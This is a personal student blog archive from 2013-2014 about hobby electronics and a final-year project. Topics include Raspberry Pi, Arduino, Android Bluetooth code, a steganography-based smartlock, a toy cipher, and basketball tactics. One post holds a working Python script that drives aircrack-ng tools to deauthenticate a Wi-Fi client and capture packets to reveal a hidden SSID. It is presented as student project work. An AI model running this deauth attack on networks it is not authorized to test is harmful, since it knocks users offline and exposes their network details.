September 20, 2014

Android Studio : can't find resources

I just started using Android Studio (had too much of Eclipse lately), just to get myself comfortable with it.

For some reason, I kept having these problems where Android Studio failed to locate the new files that I just dropped into the project folder.

Well, this fix it

File>>Invalidate Caches\Restart>>Invalidate and Restart.



September 13, 2014

Aliffah's FYP Presentation

Aliffah just did her final year presentation last week.

Oh yes, I managed to seduce her to do a Raspberry Pi-related project.

Kudos me :-)



GardenPi: Taking care of your garden with Raspberry Pi

I want to start collecting Raspberry Pi's based projects so that when time comes (and as they becomes financially do-able), I'll be able to build a couple of these useful ones. You know, never stop learning, never stop innovating.

This one is not like any micro-controller based garden watering systems. It uses weather forecast (forecast.io API) to determine whether or not the watering should be done for the day! Sounds good, right?

I don't want these to be lost when the articles got deleted or the website becomes unavailable. So, I'd a copy of the articles here and put the reference where it's due.

Project Name : GardenPI
Project Reference : LINK

--------

Like any good “lazy programmer,” I’m always looking for ways to automate. This spring’s project: monitoring and watering my garden. I had a wifi-enabled Raspberry Pi laying around and decided to put it to good use. For this project I wanted to do better than just a glorified timer. The goal: An automated watering system that can use the weather forecast, soil, light, and temperature sensors to keep my garden looking great all summer.
Phase 1 : Timer and Forecast-based Watering
I’ve written a simple script that wakes up at 10PM, determines the likelihood of rain, and waters accordingly. The script looks up the forecast using the Forecast.io API. If there is less than a 50% chance of rain, the GardenPi will water for a short duration.
Future phases (already underway) will include sensors for temperature, soil moisture, light, and humidity. Based on that information, the GardenPi will be able to make better watering decisions. The sensor data could be made available via an onboard website or mobile application. Better sensors, form factor, time lapse, and user interface are all things that I’ll be looking at for future versions.
I’ve learned a lot in the last few weeks from building this project — a little bit more about basic electronics, how to solder, how to draw up schematics, and the joy of building actual gizmos that serve a purpose. I’ve also learned that I’m not the only one doing this kind of project with the Raspberry Pi; I’ve included links to other projects at the end of this post.
Required Parts (approx. cost ~$85)
  • Raspberry Pi
  • USB Wifi Dongle
  • SD Card
  • Soaker / Drip hose throughout the garden
  • Solenoid for turning on the soaker hose
  • A female hose swivel adapter to connect your garden hose to the solenoid
  • Relay for switching 12V power
  • 12V / Raspberry Pi power supplies
  • Assorted electronics (breadboard, resistors, wires, LED)
  • High tech weather resistant case (aka medium sized Tupperware container)
Schematics
Getting Rpi ready
  1. Install Raspbian and configure WiFi access.
  2. Install Ruby for root user.
  3. Run gem install god.
  4. Pull the garden_pi_waterer repository && bundle install to install dependencies.
  5. Modify the parameters (forecast.io API key, timing info, etc.) in environment.rb.
  6. Build out breakout board (see schematic below).
  7. Connect the solenoid between water source and soaker hose, taking note of the directional arrow on the solenoid and using the adapter to connect the male end of your garden hose to the input on the solenoid.
  8. Power up the Pi and your 12V power supply.
  9. Install install/init.d to /etc/init.d/god and follow instructions in that file
  10. Install god.conf to /home/pi
  11. Restart and enjoy.
Results

I’ve watered my garden with a Raspberry Pi. Success. There is a lot of room for improvement, and I’m looking forward to extending the GardenPi’s capabilities.

September 11, 2014

My Final Year Project (CSBS) presentation

Below are the slides that I used during my final year project presentation. Basically, CSBS stands for Configurable Steganography Bluetooth-enabled Smartlock. In short, it uses the Bluetooth capabilities that exist in almost all smartphones to unlock the door.

There are many similar projects, and some of their products are already in the market (Kevo, Goji). However, the different is that they are using Bluetooth 4.0 aka Bluetooth Low Energy (BLE) or Wifi. BLE exists only on newer smartphones and you need Wifi, well, you need the coverage to make it work. Plus, making your door connected to the internet might not really be a good thing (the Internet of Things downside).

We attempted to make it work on Bluetooth 2.0 (the conventional one). I must say, given some financial help, I'd go making this project a real thing.

Chrome Pop Up blocker


If you browse the internet for so long, you'll understand the pain of closing those annoying pop ups. Some Ad Blocker can close those pop ups that comes in a new window. But some does not work on the one that pop up as a new tab.

Well, this one does

Get it HERE


September 9, 2014

Python script : SSID sniffer, De-auth attack and Packets capturing using Aircrack-ng and tshark

I was asked by my friend, Atikah to write some Python scripts for her final year project. The project involves discovering the hidden SSID of surrounding Wifi networks. Getting the non-hidden SSID is a matter of turning on the wireless card. For hidden SSID, the trick is to capture the authorization packets sent by the connected client to that Wifi network and get the SSID from the packet.

To do, we do "De-Auth attack" on that specific client. As a result, we disconnect it from the Wifi network. Once it's disconnected, it will try to reconnect to the Wifi network automatically by sending the "authorization" packets to that Wifi's Access Point.

We then capture these packets and analyse it for information.

#!/usr/bin/env python

import os

from time import sleep

print "1 - Put the wireless card to monitor mode."

print "2 - Sniff for surrounding wireless network and list all BSSIDs"
print "3 - Perform deAuth attack to a client from an AP"
print "4 - Capture packets into a file and examine it (if "
print " "
print "IMPORTANT NOTE: Press CNTRL+C to stop both the sniffing process and packets capture process"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airmon-ng start wlan0") #set wireless card to monitor mode
    sleep(5) #pause for 5 seconds so user can read the info
    print "wireless card is set to monitor mode. Start sniffing..."
    os.system("airodump-ng mon0") #start probing local wireless network
except KeyboardInterrupt:
    print "nothing";

print "Sniffing process stopped."

print "Lets start deAuth attack. Pick an AP and a connected client"
bssid = raw_input("Enter the MAC address of the hidden SSID of an AP (BSSID) : ")
station = raw_input("Enter the MAC address of connected client (STATION) : ")

try:

    print "Start deAuth attack..."
    os.system("aireplay-ng --deauth 10 -a %s -c %s mon0 --ignore-negative-one" % (bssid, station)) #send deAuth packets to the AP
except KeyboardInterrupt:
    print "nothing";

print " "

print "deAuth attack is stopped. At this point, the client is trying to re-authenticate with the AP"
print "Lets capture the packets"
sleep(5) #pause for 3 seconds so user can read the info

try:

    os.system("airodump-ng --bssid %s -w captured_packet mon0" %(bssid))
except KeyboardInterrupt:
    print "nothing"

print "The captured packets are saved to a file in the same directory - captured_packet.cap"

print " "
print "Displaying the first 20 captured packets..."
os.system("tshark -r 'wlan.bssid == %s' -r captured_packet-01.cap | grep SSID | sed 's/^.*SSID=//' | sort | uniq" % bssid)
print "end"

Make your Arduino talk! (Speech Synthesiser or Text-To-Speech library)

The other day I was asked by Joe to help him with a project (more about it later), which needs to produce sound, or in a simplest way, speak. I list here the simplest possible ways to do it.

 1. Cantarino

http://code.google.com/p/tinkerit/wiki/Cantarino

2. Text-To-Speech library
    Source : forum.arduino.cc

    Some RC filter circuit and Amp need to be constructed at the output to produce the sound.
 
Download it here : Download

August 29, 2014

Arduino: avrdude stk500_getsync(): not in sync resp=0x30 error

1. Make sure you have Arduino driver installed correctly (serial com is working)

2. Make sure serial port is correct

3. When uploading the sketch, make sure there is no connection at Tx (pin0) and Rx (pin1)

Arduino : Serial communication with interrupt

The other day, I helped Joe with his project. The project requires the Arduino to listen to the Bluetooth communication (sent via an Android App) while also running its own program. The Bluetooth module uses the serial comm. To make it work, I'll use this basic code for the interrupt which when triggered, it takes the Bluetooth communication's input.

// To use this example, you have to connect Rx pin (digital pin 0) to interrupt 0 pin (digital pin 2).
void setup()
{
    // Using interrupt 0 on digital pin 2.
    pinMode(2, INPUT);
    digitalWrite(2, LOW);
   
    Serial.begin(9600);
    attachInterrupt(0, serialInterrupt, CHANGE);

    // Used to signal that main loop is alive.

    pinMode(4, OUTPUT);
    digitalWrite(4, LOW);

    // Used to signal that Serial input was read.

    pinMode(5, OUTPUT);
    digitalWrite(5, LOW);
}

void loop()

{
  // Do something using even delays. There is an interrupt for that (Serial I/O)!

  // Blink led to signal loop is alive.

  digitalWrite(4, HIGH);
  delay(500);

  digitalWrite(4, LOW);
  delay(500);
}

// Volatile, since it is modified in an ISR.

volatile boolean inService = false;

void serialInterrupt()

{
  // Trick: since Serial I/O in interrupt driven, we must reenable interrupts while in this Interrupt Service Routine.
  // But doing so will cause the routine to be called nestedly, causing problems.
  // So we mark we are already in service.

  // Already in service? Do nothing.

  if (inService) return;

  // You was not in service. Now you are.

  inService = true;

  // Reenable interrupts, to allow Serial to work. We do this only if inService is false.
  interrupts();

  // Allow serial to read at least one byte.
  while(!Serial.available());

  // Blink led to signal Serial data arrived.

  digitalWrite(5, !digitalRead(5));
  byte data = Serial.read();

  // Echo data back to developer ;-)

  Serial.print(data);

  // Job done.

  inService = false;
}

August 21, 2014

Raspberry Pi - run a script from boot up using Crontab

1. First is add a SHEBANG line on top of your python script
#!/usr/bin/env python

2. Make your script executable with
chmod a+x

3. Open crontab with
sudo crontab -e

4. Add the following line. Make sure to include the full path to the script (MyScript.py is the name of your script)
@reboot python /home/pi/Desktop/MyScript.py &

5. To save these changes click “CTRL-X”, then “Y” and finally “Return”. You should now be back at the command prompt.

To start testing you can now reboot

May 4, 2014

Basketball defense 3-2 : my take

Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.






Case 1 : Starting position.

Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.

Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.


Case 2 : Ball is swung to the 45.

Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.

Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don't have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.


Case 3 : Ball is swung all the way to the corner.

Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside).

Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)

Basketball defense 3-2 : my take

Enough of the nonsense by wannabe coaches that I met. I think the following defense is great, especially for a team with many guards...which is quite frequent in Malaysia.






Case 1 : Starting position.

Common mistakes : Defender No 1 is not pressuring the ball handler enough. No 4 and No 5 not taking middle threat early.

Should do : No 1 should always pressure the ball handler closely but giving up no penetration. For No 4 and No 5, once an opponent cuts through the paint area near highpost or free throw line or paint area in general, the weakside low post defender (one of the lost post defender only) should already body check the cutter, making him useless. In some cases where the opponent is not really good, give him space so that he will get the ball and check him right after - this almost always return a turnover.


Case 2 : Ball is swung to the 45.

Common mistakes : The weakside defenders stick to defending the weakside (which no one there has the ball - no threat) instead of clogging the paint area.

Should do : The wing closest to the ball should close up and pressure the ball. The weakside defenders (both wing and low post defenders should retreat closer to the paint. Yes, giving the weakside opponents some space. At this moment, they don't have the ball - no threat. A long pass from wing to wing is always easy to intercept. Being away from these weakside wings will highly encourage that long pass.


Case 3 : Ball is swung all the way to the corner.

Common mistakes : Instead of the low post defender, the wing is the one that actually go for the corner defense. Also, if one of the low post defender go for the corner defense, the other low post defender did not move to replace his spot at the low post area strongside (but stick to his original spot on the weakside).

Should do : The closest low post defender should leave his spot and go all the way to challenge the opponent with the ball at the corner. The other low post defender should replace his spot in paint area (thus, leaving the weakside spot entirely). The weakside wings should clog the free throw line area, despite having the shooters at 45 weakside (again, we want to encourage the long pass to the weakside wing, by any chance)

April 4, 2014

Shared Preferences on Android

Listing out some useful Shared Preferences snippets for easy references 



public static final String MyPREFERENCES = "MyPrefs" ; //name to save Shared Preferences xml file
String currentmode = ""; //default current mode to start App


//find the App's Shared Preferences. If it doesn't exist, create one. Name it "setting"
SharedPreferences setting = getSharedPreferences(MyPREFERENCES, Context.MODE_PRIVATE);

//debug : used to  shared preferences
/* Editor editor = setting.edit();
editor.clear();
editor.commit(); */

//check the last saved mode of operation. load it if it existed
public void checkMode(){
    if (setting.contains("savedmode")){
        currentmode = (setting.getString("savedmode",""));
 Toast.makeText(getApplicationContext(),"Loading last saved mode of operation", Toast.LENGTH_SHORT).show();

    } else {
        //no setting saved for mode. Save convenient mode by default
        currentmode = "convenient";
 Editor editor = setting.edit();
 editor.putString("savedmode", currentmode);
 editor.commit();
 Toast.makeText(getApplicationContext(),"No mode found in the setting", Toast.LENGTH_SHORT).show();
    }
}

//debug : to show all data stored in Shared Preferences
/*Map<string> keys = setting.getAll();
for(Map.Entry<string> entry : keys.entrySet()){
    Log.d("map values",entry.getKey() + ": " + entry.getValue().toString());            
}*/


//mode toggling method for ToggleButton. Save the adjusted current mode to Shared Preferences
public void ToggleMode(View view){
    ToggleButton toggle = (ToggleButton) findViewById(R.id.toggleMode);
    boolean on = toggle.isChecked();
       
    if (on){
        currentmode = "convenient";
        Editor editor = setting.edit();
        editor.putString("savedmode", currentmode);
        editor.commit();
        Toast.makeText(getApplicationContext(),"Mode changed to Convenient", Toast.LENGTH_SHORT).show();

    } else {
        currentmode = "secured";
        Editor editor = setting.edit();
        editor.putString("savedmode", currentmode);
        editor.commit();
        Toast.makeText(getApplicationContext(),"Mode changed to Secured", Toast.LENGTH_SHORT).show();

    }
};

March 7, 2014

Windows App developement with Afiq

Me and Afiq were in charge of developing the App for the Innovate Malaysia design competition. In short, we need to build the similar version of Android App for Windows Platform. As I have been familiarizing my self with the dark side of the phone's Bluetooth development, developing for Windows Phone becomes rather easy for me.

Afiq started the work early as I was still busy developing the Android version. Below is one of his screenshots. Nice experience, eh? Maybe one of us will end up being a developer one day.




March 5, 2014

Error from using Android libraries

The logcat states something in the line

Jar Mismatch Found 2 versions of android-support-v4.jar in the dependency list
It means we have two jar files, one from the project and the other one from the included library.
Delete the one in the current project folder (/libs). As long as the library stays included, this should be fine.

credit : StackOveflow 

February 15, 2014

Thesis : Chap 1 & Chap 2

We have a meeting on Jan 24th where we were asked to submit our first draft for both Chapter 1 and Chapter 2 of the thesis two weeks after. These are the points jotted down by me during the meeting.

 Chapter 1: Introduction (4 pages) – get the some content from slide!

  • Focus on scope – mention the motivation
  • Current market of AC system – what is available? How far the systems being used?
  • Problems with current AC system
  • How the problems can be solved, in relation to the scope
  • Then, the objective of the project which is proposed, in order to solve the problems
  • Mention the novelty of the project


Chapter 2:Lit. Review (15 pages)

  • Focus on Bluetooth/Smartphone used for AC system
  • Quote examples – highlight advantages and problems – some analysis, why people use the system? The good and the bad from user’s perspective – relate to the situation in Malaysia, with data support - why people don’t use or didn’t try to use
  • Then, highlight specific functions - related to CMS. How CMS is integrated with AC system, along with Smartphone and Bluetooth
  • Discussion, which lead to the Chapter 3: Design and Implementation

February 14, 2014

Motivation, Novelty

I need to remind myself again and again about these two things. The concept is not hard to understand, but often it's easy to get confused.

Motivation - What drives us to put efforts in developing the proposed project?
  • What are the problems/limitations/situation in relation to the current existing solutions?
  • Why such problems/limitations/situation are of importance, that it requires 'solving'? Narrow it down into a specific scope..
Novelty - What is the uniqueness of the proposed project?
  • What are the 'new stuff' that we are proposing via the project? 
  • How are they different from the current existing solutions? (must highlight how the existing solutions do not have the 'new stuff' that we are proposing)
  • Why are they importance? Why they are needed? Explain with help of scenarios within the aforementioned scope, go into details as necessary. 

Raf Progress 11-17 Feb 2014

Date: 11 - 17 Feb 2014

Objectives (what did you planned to do?):
1. Writing/Revising for the 2nd draft of Literature Review.
2. Begin writing the introduction part of the thesis
3. App should be able to send photo to another phone via the same App
4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).

Efforts done (what did you do?):
1. Finished the 1st draft of Chapter 1 and Chapter 2 of the thesis
2. App is able to send photo to another phone via the App

Objective for next week:
1. Revise Chapter 1 and Chapter 2
2. Begin writing the Chapter 3:Design and Implementation
3. App function : sending a photo to another phone via the second method (direct stream)
4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)

February 3, 2014

Raf Progress 27 Jan-2 Feb 2014

Date: 27 Jan-2 Feb 2014

I went back to Terengganu for a week with the hope to do some writing and home cleanups after the recent flood. However, a bad fever caught me and I spent literally 5 days resting. The family outing during the following weekend topped it up and I was officially having a week work-free :D

Nevertheless, I did went through some more related papers to help me to get going with the thesis.

Objectives (what did you planned to do?):
1. Writing/Revising for the 2nd draft of Literature Review.
2. Begin writing the introduction part of the thesis
3. App should be able to send photo to another phone via the same App
4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).

Efforts done (what did you do?):
1. Fever. Not much to consider them efforts at all.

Objective for next week:
Continue from last week.
1. Writing/Revising for the 2nd draft of Literature Review.
2. Begin writing the introduction part of the thesis
3. App should be able to send photo to another phone via the same App
4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)

January 27, 2014

Raf Progress 20-26th Jan 2014

Objectives (what did you planned to do?):
1. Collect research papers to revise Literature Review part
2. Adding function to App : able to select photo from the gallery and send photo to another phone via the same App

Efforts done (what did you do?):
1. Some papers were collected and printed. Started reading through. No writing/revising done yet
2. App is able to prompt User to select photo. Sending function is not yet implemented.

Outcomes (success, errors, discussion, screenshots...etc)
1. Requires more related research papers.
2. App is able to prompt User to select photo but the sending part hasn't been implemented. Link to apk : Link


Objective for next week:
1. Writing/Revising for the 2nd draft of Literature Review.
2. Begin writing the introduction part of the thesis
3. App should be able to send photo to another phone via the same App
4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)

January 19, 2014

Understanding Convenient and Secured modes

I had some misunderstanding on how the convenient mode works. I first thought that it needs some sort of security on the App as well. So, what I have in mind was...User needs to do the graphical login before "passcode" (key) is automatically sent to the Rpi.

I was mistaken. The key to convenient is that the User should not need to do anything at all, other than just launching the App.

The diagram below should explain it better:


Convenient and Secured Mode

Link for a better view : Link

January 17, 2014

Qr code testing


On KJ

I told Aliffah that there are two ministers that I believe are capable of bringing our nation forward as our former PM Tun Dr Mahathir did. They are his son, Mukriz and this guy, KJ.

Personally, I don't like him, but among the crop of ministers that we have now, he is the one that is most capable of leading the country, perhaps, in the future. Here is why: excerpts of a BH interview.

Khairy: Some BN leaders 'syok sendiri' online 

Umno Youth chief Khairy Jamaluddin has lamented that BN's social media strategy has been ineffective as some BN leaders had the tendency to be ‘syok sendiri’ (self-indulgent) in their online engagement. "I see many BN leaders - forgive me for saying this - even though they are active on social media, they only speak to their followers, not to outsiders or independents.

"They think that their own sentiment is the national sentiment. That is wrong. "That proves that our social media strategy has been ineffective. (BN leaders) speak to their own people and 'syok sendiri' while the opposition try to reach out to the people in general," Khairy was quoted as saying in a Berita Harian interview today.

He also acknowledged that attacks against the families of politicians on social media were unavoidable. "As a politician, I advise my family to live moderately. When we are chosen as a politician, a minister or the likes, our families have to play their role. "If we want to live freely, then do not be a politician," he was quoted as saying.

Khairy said in the interview that the rakyat's anger over the price hikes is real and urged leaders not to make statements that will hurt the rakyat's feelings. He added that the government should heed former prime minister Dr Mahathir Mohamad's (right) advice that it should cut more costs instead of increasing prices.
When asked whether the government's current cost-cutting measures were enough, he said more was to come and volunteered to have his own pay docked.

Steganography

I'm currently working on my final year project (I just did my first part's presentation this morning, which was terrible, in a way) which involves a technique called "Steganography" or Stego, for short.

The purpose of Stego is similar to Cryptology, in a way that it is used to protect the valuable data from unauthorized access. However, there is a huge difference between the two. Encryption techniques apply specific algorithms to the valuable data (plaintext) to produce encrypted data (ciphertext).

On contrary, Stego focuses on hiding the valuable data (hidden message) within another non valuable data (cover). It's about "hiding the data in a plain sight". In most usage, Stego technique is designed so that the non authorized user does not even realize the hidden message even exists at the first place.

There are various type of medium use for cover. Most notably is image. But lets start with some text files example first.

Lets say, I want to save my password for 2 different websites that I have registered to. I create a text file, naming it visited_countries.txt suggesting to everyone that this file lists all the countries that I have visited. In the files, I have these following content:
        indonessia japan korea usa france nigeria bangladesh india china

 The passwords that I stored in the file were ijkufnbic and naosrianh.

Anyone else who opens the file realizes that the file is merely listing the countries and is not of important. But because the fact that I know there is a hidden message[1] and also the algorithm used[2], I am able to get my passwords from this list.

Hidden message, in a plain sight.

p/s: the first and the second characters of each country.

January 15, 2014

Android App update:

I have fixed the server scripts and simplify the Android App, enables it to successfully connect to the server and send some data. I tested on Ubuntu and Rpi Raspian, and it works fine on both.

Thanks to Zul,  I was also able to add on QR scan function which is now able to :

1. Scan QR code that point to a http URL ended with "png" 
    Other form of links are simply ignored by the App. Only the link that ended with "png" (hence, png image file)  are actually downloaded to the phone.

2. Download the png image file automatically to the gallery

    The download process is done in the background (Android Asynctask). However, the actual image is also displayed on the App so that the user does not need to be prompted to the gallery to view the image.

The png file extension is important as it is the format that the CMS uses (on webcam photo capture during new user registration). Hence, it will be the format that the Steganography Algorithm will be applied on. The difference between JPEG, GIF and PNG are discussed here : Link.

Here is the App APK file: Link

November 6, 2013

Windows Mobile platform kick off by Afiq

Below is the post written by Afiq on hist first kick start with Windows App development :

Afiq Here and this is my first update.

This blog post is about my attempt at setting up the windows phone 8 development environment nad my experience playing with the environment in visual studio. I will reference all the websites that I went to in my attempt to install the necessary files

1. First I installed this file as recommended by Raf. It wasn't much, It just provided me with some of these tile apps.

http://www.microsoft.com/en-us/download/details.aspx?id=17284






2. Then I installed visual studio express 2012 from this website. This one took quite long to install and with some errors. The whole suite came with Blend for Visual Studio. It is so far running without errors but at one point during the installation it said that some features were missing. So I think it only partially installed correctly. I ran a repair install afterwards and I think it should be better now.

http://www.microsoft.com/visualstudio/eng/products/visual-studio-express-products


3. Seeking reference I then found this MSDN blog article that I used to verify all the steps that I achieved so far. I followed all the instructions and I find that this was the clearest and easiest set of instructions to follow. Everything went about without a hitch.

http://blogs.msdn.com/b/cdndevs/archive/2013/10/01/setting-up-your-windows-phone-development-environment-in-30-minutes-or-less.aspx



4. This is the development environment that I have so far. It is compliant with the picture in the file taken from the W8 guide given before the holidays given by Mr. Ling.


I watched this YouTube video that showed exactly the same platform and introduced some programming conventions that I had to be aware of for windows phone 8 development.

http://www.youtube.com/watch?v=blU9rBiVURM



My progress is now shalted because the emulator is having some problems. Apparently my brand new computer is missing the prerequisite of being windows 8 professional version but all the prerequisites for running the hyper-v virtualisation machine are all there.

Some of these basic prerequisites include
4 GB RAM
x64 architecture
Supports SLAT (Second Level Address Transition)






All of which I already satisfy the needs of.

Everytime I want to run the simulator an error occurs, unlike the YouTube video tutorial in which the Emulator is easy fast and accessible, mines does not want to function at all. This is what I get when I run the emulator.




My proposed solution ...
Go Pirate, RRrrrrrrr....
And run the same installation steps over again. I Think it will be faster on a clean slate.
Thats all from me,

Afiq Hamid,
6/11/2013

October 22, 2013

Querying RSSI by the App

I have mentioned before that we have 2 ways to check for signal strength (which then approximates distance) of the bluetooth communication in our system, particularly between the App and the Rpi.

    1. Query done by Rpi
    2. Query done by Android App

I have not yet checked on how I can get the first step done programmatic-ally, for the purpose of integrating it into our Server program. This example showed how it is done via terminal : forum link.

However, I have a written a simple app for the 2nd method. This App catches the RSSI values of every bluetooth devices it found during 'discovery' by requesting an extra field in ACTION_FOUND intents of the discovery : EXTRA_RSSI. This value (of data type Short) contains the RSSI value of the remote devices found.

Here is the snippet on how it is done:

// Create a BroadcastReceiver for ACTION_FOUND
BroadcastReceiver receiver;
receiver = new BroadcastReceiver() {
    public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();
           
    // When discovery finds a device
    if (BluetoothDevice.ACTION_FOUND.equals(action)) {
           
    // Get the BluetoothDevice object from the Intent
    BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
    short rssi = intent.getShortExtra(BluetoothDevice.EXTRA_RSSI,Short.MIN_VALUE);
               
    // Add the name and address to an array adapter to show in a ListView
     mArrayAdapter.add(device.getName() + "\n" + device.getAddress() + "\n" + rssi + " db" + "\n" );
              
    //add notify discovery is done
    Toast.makeText(getApplicationContext(),"Bluetooth devices discovery done...", Toast.LENGTH_SHORT).show();
       
     }
     }
};

In short, we can get the signal strength of any discovered bluetooth devices, without even having to connect to those devices. Hence, 'signal strength' or more correctly, 'distance between the user and the door' verification can be done first before 'key' verification. Refer HERE to see the methods we proposed earlier.

Here is the updated version of the App (remove the RSSI values display through toast, put them into the list view instead).



Downloads:
Apk
MainActivity (main code)
Project files (all)



October 11, 2013

Measuring distance between user and the door



We have no way of measuring distance directly between the user (the phone) and the door. However, we can safely approximate the distance by querying the "strength" of the received signal of the Bluetooth communication. The term is called Bluetooth Received Signal Strength Indication (RSSI). RSSI is the relative received signal strength in arbitrary units.

In short, the closer the distance, the bigger the strength of the received signal, the bigger the RSSI numbers.

In our case, we have two ways to implement this:
  1. The Rpi does the query for signal strength and responses (to command the microcontroller to unlock the door) only when the signal strength is within the safe operating range.
  2. The App (instead of the Rpi), which initiates the connection, sends the signal ("within range" or "not within range") along with key based on the received signal strength (Android is able to provide this automatically on each Bluetooth connection or we can use one of the public methods to query manually) of the Rpi.
However, both methods relies heavily on the actual Bluetooth devices that we are using. We need to do some test on our own to approximate better (sadly we only have one Bluetooth dongle that works with Rpi at this moment).

This is one example I've got from the net which should give us some approximations:

          RSSI              Position
          38                   Phone touching Bluetooth dongle
          25                   Phone an inch away
          10                   Phone about 6 inch away
          0                     From 2 feet to opposite side of room
          -3                    In next room (with a wall between)
          -10                  2 walls away

source:
Link1
Link2
Link3





October 10, 2013

Unlocking : sending keys and verification

In the last meeting, we discussed on how we can implement the verification of the key in the most efficient way, while not risking the security aspect of the system.

We agreed that we would be implementing a distance measuring mechanism (I'll write about it in another post), in which the door is to be set "ready to be unlocked" only when the user is within the safe distance from the door (2-3 meters).

This adds another type of verification which is the distance between the user and the Rpi itself.

The figure above shows how Rpi is used to validates both 'distance' and 'key'. Alternatively, 'distance' can be validated via the Android App itself.

September 24, 2013

Substitution Cipher - Java

Downloadable file : Substitution Cipher


import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

public class subs_cipper { 
      public static void main(String[] args) { 
  
      System.out.println("This is to demonstrate the Substitution Cipher");
      System.out.println("Each alphanumeric char is mapped to a String (arbitrarily, of two chars length)");
      System.out.println("For example, 'A' is mapped to \"OA\", 'B' is mapped to \"9B\", and so on...");
      System.out.print("\nTest String = ");
      String plaintext = "WHYAMIDOINGTHISWHYAREWEHEREWHATAREWEDOING";
      //string to be ciphered
      //String plaintext = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; 
      //use this to check. With this, 
      //...plaintext = Keys, and Ciphertext = Values
      System.out.print(plaintext);
      
      //Encryption
      System.out.println("\n\nCiphertext = ");
      Cipher ObjCipher = new Cipher();
      String ciphertext = ObjCipher.Encrypt(plaintext);  
      //output ciphered string
      System.out.println(ciphertext);
      
      //Decryption
      System.out.print("\nPlaintext = \n");
      String outplaintext = ObjCipher.Decrypt(ciphertext);  
      //output deciphered string
      System.out.print(outplaintext);
   }
}


//the class that that implements the actual encryption
class Cipher {
String keys, values;  
     //Keys & Values for HashMap
String plaintext, ciphertext;
HashMap<String, String> map = new HashMap<String, String>(); 
     //HashMap to do the mapping


//constructor, instantiates the HashMap
public Cipher(){
//one-to-one mapping (Keys - Values) of different length. In this example, 
//A:OA, B:9B, C:8C &  so on...
 keys = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
values = "0A9B8C7F6E5R4F3T2J1K4LX2VN18K9LC42B7" +
         "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";


//use for loop to fill up & map the Keys to the respective Values
for (int i=0; i<keys.length(); i++){
char charkey = keys.charAt(i);  
       //get each char from the Keys & convert to String
String tempkey = Character.toString(charkey);

char charval1 = values.charAt(i*2);  
       //get every two chars from the Values & convert to String
String tempval1 = Character.toString(charval1);  
       //...and concatenate both chars to form a single String
char charval2 = values.charAt(i*2+1);
String tempval2 = Character.toString(charval2);
String tempval = tempval1 + tempval2;

map.put(tempkey, tempval);  
       //fill the HashMap
}

}


//Encrypt method, do the Encryption, takes Plaintext as argument
public String Encrypt(String plaintext){
String output = "";
char ch;

for (int i=0; i<plaintext.length(); i++){  
   //go through the plaintext 
ch = plaintext.charAt(i);    
       //take each chars as 'Key'
String str = Character.toString(ch);  
       //..and map to its corresponding 'Value'
output = output + map.get(str);
}
 
   return output;  
   //returns the the encrypted String
}


//Decrypt method, do the Decryption, takes Ciphertext as argument
public String Decrypt(String ciphertext){
String output = "";
char ch;
String str = "";

for (int i=0; i<ciphertext.length(); i = i+2){  
  //get next two adjacent chars from the Ciphertext
ch = ciphertext.charAt(i);    
       //concatenates them into a single String
str = Character.toString(ch);
ch = ciphertext.charAt(i+1); 
str = str + Character.toString(ch);

Iterator j = map.entrySet().iterator();  
       //look up through HashMap by the Value 

while (j.hasNext()) {  
       //...to find the corresponding Key
Map.Entry entry = (Map.Entry) j.next();
if (str.equals((String)entry.getValue())){  
                //concatenates the output with each Key found
output = output + (String)entry.getKey();
}
}
}

return output;  
  //return the Decrypted String
}

}